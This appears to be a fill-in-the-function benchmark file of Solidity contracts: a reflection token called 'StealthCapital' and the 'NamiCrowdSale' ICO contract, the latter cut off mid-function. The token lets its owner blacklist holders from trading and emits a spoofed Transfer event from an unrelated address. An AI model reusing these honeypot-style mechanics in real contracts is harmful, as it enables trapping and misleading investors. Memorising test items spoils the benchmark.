uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {<FILL_FUNCTION_BODY> }
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract StealthCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Stealth Capital";
string private constant _symbol = "SC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x81E21Cc763127BB7962cEf14C62FF999f4F4C9A0);
_feeAddrWallet2 = payable(0x81E21Cc763127BB7962cEf14C62FF999f4F4C9A0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
<FILL_FUNCTION>
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
| function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) | function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) |
12805 | NamiCrowdSale | transferToBuyer | contract NamiCrowdSale {
using SafeMath for uint256;
/// NAC Broker Presale Token
/// @dev Constructor
function NamiCrowdSale(address _escrow, address _namiMultiSigWallet, address _namiPresale) public {
require(_namiMultiSigWallet != 0x0);
escrow = _escrow;
namiMultiSigWallet = _namiMultiSigWallet;
namiPresale = _namiPresale;
}
/*/
* Constants
/*/
string public name = "Nami ICO";
string public symbol = "NAC";
uint public decimals = 18;
bool public TRANSFERABLE = false; // default not transferable
uint public constant TOKEN_SUPPLY_LIMIT = 1000000000 * (1 ether / 1 wei);
uint public binary = 0;
/*/
* Token state
/*/
enum Phase {
Created,
Running,
Paused,
Migrating,
Migrated
}
Phase public currentPhase = Phase.Created;
uint public totalSupply = 0; // amount of tokens already sold
// escrow has exclusive priveleges to call administrative
// functions on this contract.
address public escrow;
// Gathered funds can be withdrawn only to namimultisigwallet's address.
address public namiMultiSigWallet;
// nami presale contract
address public namiPresale;
// Crowdsale manager has exclusive priveleges to burn presale tokens.
address public crowdsaleManager;
// binary option address
address public binaryAddress;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
modifier onlyCrowdsaleManager() {
require(msg.sender == crowdsaleManager);
_;
}
modifier onlyEscrow() {
require(msg.sender == escrow);
_;
}
modifier onlyTranferable() {
require(TRANSFERABLE);
_;
}
modifier onlyNamiMultisig() {
require(msg.sender == namiMultiSigWallet);
_;
}
/*/
* Events
/*/
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
event LogPhaseSwitch(Phase newPhase);
// Log migrate token
event LogMigrate(address _from, address _to, uint256 amount);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/*/
* Public functions
/*/
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
// Transfer the balance from owner's account to another account
// only escrow can send token (to send token private sale)
function transferForTeam(address _to, uint256 _value) public
onlyEscrow
{
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public
onlyTranferable
{
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value)
public
onlyTranferable
returns (bool success)
{
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
onlyTranferable
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
onlyTranferable
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
// allows transfer token
function changeTransferable () public
onlyEscrow
{
TRANSFERABLE = !TRANSFERABLE;
}
// change escrow
function changeEscrow(address _escrow) public
onlyNamiMultisig
{
require(_escrow != 0x0);
escrow = _escrow;
}
// change binary value
function changeBinary(uint _binary)
public
onlyEscrow
{
binary = _binary;
}
// change binary address
function changeBinaryAddress(address _binaryAddress)
public
onlyEscrow
{
require(_binaryAddress != 0x0);
binaryAddress = _binaryAddress;
}
/*
* price in ICO:
* first week: 1 ETH = 2400 NAC
* second week: 1 ETH = 23000 NAC
* 3rd week: 1 ETH = 2200 NAC
* 4th week: 1 ETH = 2100 NAC
* 5th week: 1 ETH = 2000 NAC
* 6th week: 1 ETH = 1900 NAC
* 7th week: 1 ETH = 1800 NAC
* 8th week: 1 ETH = 1700 nac
* time:
* 1517443200: Thursday, February 1, 2018 12:00:00 AM
* 1518048000: Thursday, February 8, 2018 12:00:00 AM
* 1518652800: Thursday, February 15, 2018 12:00:00 AM
* 1519257600: Thursday, February 22, 2018 12:00:00 AM
* 1519862400: Thursday, March 1, 2018 12:00:00 AM
* 1520467200: Thursday, March 8, 2018 12:00:00 AM
* 1521072000: Thursday, March 15, 2018 12:00:00 AM
* 1521676800: Thursday, March 22, 2018 12:00:00 AM
* 1522281600: Thursday, March 29, 2018 12:00:00 AM
*/
function getPrice() public view returns (uint price) {
if (now < 1517443200) {
// presale
return 3450;
} else if (1517443200 < now && now <= 1518048000) {
// 1st week
return 2400;
} else if (1518048000 < now && now <= 1518652800) {
// 2nd week
return 2300;
} else if (1518652800 < now && now <= 1519257600) {
// 3rd week
return 2200;
} else if (1519257600 < now && now <= 1519862400) {
// 4th week
return 2100;
} else if (1519862400 < now && now <= 1520467200) {
// 5th week
return 2000;
} else if (1520467200 < now && now <= 1521072000) {
// 6th week
return 1900;
} else if (1521072000 < now && now <= 1521676800) {
// 7th week
return 1800;
} else if (1521676800 < now && now <= 1522281600) {
// 8th week
return 1700;
} else {
return binary;
}
}
function() payable public {
buy(msg.sender);
}
function buy(address _buyer) payable public {
// Available only if presale is running.
require(currentPhase == Phase.Running);
// require ICO time or binary option
require(now <= 1522281600 || msg.sender == binaryAddress);
require(msg.value != 0);
uint newTokens = msg.value * getPrice();
require (totalSupply + newTokens < TOKEN_SUPPLY_LIMIT);
// add new token to buyer
balanceOf[_buyer] = balanceOf[_buyer].add(newTokens);
// add new token to totalSupply
totalSupply = totalSupply.add(newTokens);
LogBuy(_buyer,newTokens);
Transfer(this,_buyer,newTokens);
}
/// @dev Returns number of tokens owned by given address.
/// @param _owner Address of token owner.
function burnTokens(address _owner) public
onlyCrowdsaleManager
{
// Available only during migration phase
require(currentPhase == Phase.Migrating);
uint tokens = balanceOf[_owner];
require(tokens != 0);
balanceOf[_owner] = 0;
totalSupply -= tokens;
LogBurn(_owner, tokens);
Transfer(_owner, crowdsaleManager, tokens);
// Automatically switch phase when migration is done.
if (totalSupply == 0) {
currentPhase = Phase.Migrated;
LogPhaseSwitch(Phase.Migrated);
}
}
/*/
* Administrative functions
/*/
function setPresalePhase(Phase _nextPhase) public
onlyEscrow
{
bool canSwitchPhase
= (currentPhase == Phase.Created && _nextPhase == Phase.Running)
|| (currentPhase == Phase.Running && _nextPhase == Phase.Paused)
// switch to migration phase only if crowdsale manager is set
|| ((currentPhase == Phase.Running || currentPhase == Phase.Paused)
&& _nextPhase == Phase.Migrating
&& crowdsaleManager != 0x0)
|| (currentPhase == Phase.Paused && _nextPhase == Phase.Running)
// switch to migrated only if everyting is migrated
|| (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated
&& totalSupply == 0);
require(canSwitchPhase);
currentPhase = _nextPhase;
LogPhaseSwitch(_nextPhase);
}
function withdrawEther(uint _amount) public
onlyEscrow
{
require(namiMultiSigWallet != 0x0);
// Available at any phase.
if (this.balance > 0) {
namiMultiSigWallet.transfer(_amount);
}
}
function safeWithdraw(address _withdraw, uint _amount) public
onlyEscrow
{
NamiMultiSigWallet namiWallet = NamiMultiSigWallet(namiMultiSigWallet);
if (namiWallet.isOwner(_withdraw)) {
_withdraw.transfer(_amount);
}
}
function setCrowdsaleManager(address _mgr) public
onlyEscrow
{
// You can't change crowdsale contract when migration is in progress.
require(currentPhase != Phase.Migrating);
crowdsaleManager = _mgr;
}
// internal migrate migration tokens
function _migrateToken(address _from, address _to)
internal
{
PresaleToken presale = PresaleToken(namiPresale);
uint256 newToken = presale.balanceOf(_from);
require(newToken > 0);
// burn old token
presale.burnTokens(_from);
// add new token to _to
balanceOf[_to] = balanceOf[_to].add(newToken);
// add new token to totalSupply
totalSupply = totalSupply.add(newToken);
LogMigrate(_from, _to, newToken);
Transfer(this,_to,newToken);
}
// migate token function for Nami Team
function migrateToken(address _from, address _to) public
onlyEscrow
{
_migrateToken(_from, _to);
}
// migrate token for investor
function migrateForInvestor() public {
_migrateToken(msg.sender, msg.sender);
}
// Nami internal exchange
// event for Nami exchange
event TransferToBuyer(address indexed _from, address indexed _to, uint _value, address indexed _seller);
event TransferToExchange(address indexed _from, address indexed _to, uint _value, uint _price);
/**
* @dev Transfer the specified amount of tokens to the NamiExchange address.
* Invokes the `tokenFallbackExchange` function.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallbackExchange` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _price price to sell token.
*/
function transferToExchange(address _to, uint _value, uint _price) public {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender,_to,_value);
if (codeLength > 0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallbackExchange(msg.sender, _value, _price);
TransferToExchange(msg.sender, _to, _value, _price);
}
}
/**
* @dev Transfer the specified amount of tokens to the NamiExchange address.
* Invokes the `tokenFallbackBuyer` function.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallbackBuyer` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _buyer address of seller.
*/
function transferToBuyer(address _to, uint _value, address _buyer) public {<FILL_FUNCTION_BODY> }
//-------------------------------------------------------------------------------------------------------
} | contract NamiCrowdSale {
using SafeMath for uint256;
/// NAC Broker Presale Token
/// @dev Constructor
function NamiCrowdSale(address _escrow, address _namiMultiSigWallet, address _namiPresale) public {
require(_namiMultiSigWallet != 0x0);
escrow = _escrow;
namiMultiSigWallet = _namiMultiSigWallet;
namiPresale = _namiPresale;
}
/*/
* Constants
/*/
string public name = "Nami ICO";
string public symbol = "NAC";
uint public decimals = 18;
bool public TRANSFERABLE = false; // default not transferable
uint public constant TOKEN_SUPPLY_LIMIT = 1000000000 * (1 ether / 1 wei);
uint public binary = 0;
/*/
* Token state
/*/
enum Phase {
Created,
Running,
Paused,
Migrating,
Migrated
}
Phase public currentPhase = Phase.Created;
uint public totalSupply = 0; // amount of tokens already sold
// escrow has exclusive priveleges to call administrative
// functions on this contract.
address public escrow;
// Gathered funds can be withdrawn only to namimultisigwallet's address.
address public namiMultiSigWallet;
// nami presale contract
address public namiPresale;
// Crowdsale manager has exclusive priveleges to burn presale tokens.
address public crowdsaleManager;
// binary option address
address public binaryAddress;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
modifier onlyCrowdsaleManager() {
require(msg.sender == crowdsaleManager);
_;
}
modifier onlyEscrow() {
require(msg.sender == escrow);
_;
}
modifier onlyTranferable() {
require(TRANSFERABLE);
_;
}
modifier onlyNamiMultisig() {
require(msg.sender == namiMultiSigWallet);
_;
}
/*/
* Events
/*/
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
event LogPhaseSwitch(Phase newPhase);
// Log migrate token
event LogMigrate(address _from, address _to, uint256 amount);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/*/
* Public functions
/*/
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
// Transfer the balance from owner's account to another account
// only escrow can send token (to send token private sale)
function transferForTeam(address _to, uint256 _value) public
onlyEscrow
{
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public
onlyTranferable
{
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value)
public
onlyTranferable
returns (bool success)
{
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
onlyTranferable
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
onlyTranferable
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
// allows transfer token
function changeTransferable () public
onlyEscrow
{
TRANSFERABLE = !TRANSFERABLE;
}
// change escrow
function changeEscrow(address _escrow) public
onlyNamiMultisig
{
require(_escrow != 0x0);
escrow = _escrow;
}
// change binary value
function changeBinary(uint _binary)
public
onlyEscrow
{
binary = _binary;
}
// change binary address
function changeBinaryAddress(address _binaryAddress)
public
onlyEscrow
{
require(_binaryAddress != 0x0);
binaryAddress = _binaryAddress;
}
/*
* price in ICO:
* first week: 1 ETH = 2400 NAC
* second week: 1 ETH = 23000 NAC
* 3rd week: 1 ETH = 2200 NAC
* 4th week: 1 ETH = 2100 NAC
* 5th week: 1 ETH = 2000 NAC
* 6th week: 1 ETH = 1900 NAC
* 7th week: 1 ETH = 1800 NAC
* 8th week: 1 ETH = 1700 nac
* time:
* 1517443200: Thursday, February 1, 2018 12:00:00 AM
* 1518048000: Thursday, February 8, 2018 12:00:00 AM
* 1518652800: Thursday, February 15, 2018 12:00:00 AM
* 1519257600: Thursday, February 22, 2018 12:00:00 AM
* 1519862400: Thursday, March 1, 2018 12:00:00 AM
* 1520467200: Thursday, March 8, 2018 12:00:00 AM
* 1521072000: Thursday, March 15, 2018 12:00:00 AM
* 1521676800: Thursday, March 22, 2018 12:00:00 AM
* 1522281600: Thursday, March 29, 2018 12:00:00 AM
*/
function getPrice() public view returns (uint price) {
if (now < 1517443200) {
// presale
return 3450;
} else if (1517443200 < now && now <= 1518048000) {
// 1st week
return 2400;
} else if (1518048000 < now && now <= 1518652800) {
// 2nd week
return 2300;
} else if (1518652800 < now && now <= 1519257600) {
// 3rd week
return 2200;
} else if (1519257600 < now && now <= 1519862400) {
// 4th week
return 2100;
} else if (1519862400 < now && now <= 1520467200) {
// 5th week
return 2000;
} else if (1520467200 < now && now <= 1521072000) {
// 6th week
return 1900;
} else if (1521072000 < now && now <= 1521676800) {
// 7th week
return 1800;
} else if (1521676800 < now && now <= 1522281600) {
// 8th week
return 1700;
} else {
return binary;
}
}
function() payable public {
buy(msg.sender);
}
function buy(address _buyer) payable public {
// Available only if presale is running.
require(currentPhase == Phase.Running);
// require ICO time or binary option
require(now <= 1522281600 || msg.sender == binaryAddress);
require(msg.value != 0);
uint newTokens = msg.value * getPrice();
require (totalSupply + newTokens < TOKEN_SUPPLY_LIMIT);
// add new token to buyer
balanceOf[_buyer] = balanceOf[_buyer].add(newTokens);
// add new token to totalSupply
totalSupply = totalSupply.add(newTokens);
LogBuy(_buyer,newTokens);
Transfer(this,_buyer,newTokens);
}
/// @dev Returns number of tokens owned by given address.
/// @param _owner Address of token owner.
function burnTokens(address _owner) public
onlyCrowdsaleManager
{
// Available only during migration phase
require(currentPhase == Phase.Migrating);
uint tokens = balanceOf[_owner];
require(tokens != 0);
balanceOf[_owner] = 0;
totalSupply -= tokens;
LogBurn(_owner, tokens);
Transfer(_owner, crowdsaleManager, tokens);
// Automatically switch phase when migration is done.
if (totalSupply == 0) {
currentPhase = Phase.Migrated;
LogPhaseSwitch(Phase.Migrated);
}
}
/*/
* Administrative functions
/*/
function setPresalePhase(Phase _nextPhase) public
onlyEscrow
{
bool canSwitchPhase
= (currentPhase == Phase.Created && _nextPhase == Phase.Running)
|| (currentPhase == Phase.Running && _nextPhase == Phase.Paused)
// switch to migration phase only if crowdsale manager is set
|| ((currentPhase == Phase.Running || currentPhase == Phase.Paused)
&& _nextPhase == Phase.Migrating
&& crowdsaleManager != 0x0)
|| (currentPhase == Phase.Paused && _nextPhase == Phase.Running)
// switch to migrated only if everyting is migrated
|| (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated
&& totalSupply == 0);
require(canSwitchPhase);
currentPhase = _nextPhase;
LogPhaseSwitch(_nextPhase);
}
function withdrawEther(uint _amount) public
onlyEscrow
{
require(namiMultiSigWallet != 0x0);
// Available at any phase.
if (this.balance > 0) {
namiMultiSigWallet.transfer(_amount);
}
}
function safeWithdraw(address _withdraw, uint _amount) public
onlyEscrow
{
NamiMultiSigWallet namiWallet = NamiMultiSigWallet(namiMultiSigWallet);
if (namiWallet.isOwner(_withdraw)) {
_withdraw.transfer(_amount);
}
}
function setCrowdsaleManager(address _mgr) public
onlyEscrow
{
// You can't change crowdsale contract when migration is in progress.
require(currentPhase != Phase.Migrating);
crowdsaleManager = _mgr;
}
// internal migrate migration tokens
function _migrateToken(address _from, address _to)
internal
{
PresaleToken presale = PresaleToken(namiPresale);
uint256 newToken = presale.balanceOf(_from);
require(newToken > 0);
// burn old token
presale.burnTokens(_from);
// add new token to _to
balanceOf[_to] = balanceOf[_to].add(newToken);
// add new token to totalSupply
totalSupply = totalSupply.add(newToken);
LogMigrate(_from, _to, newToken);
Transfer(this,_to,newToken);
}
// migate token function for Nami Team
function migrateToken(address _from, address _to) public
onlyEscrow
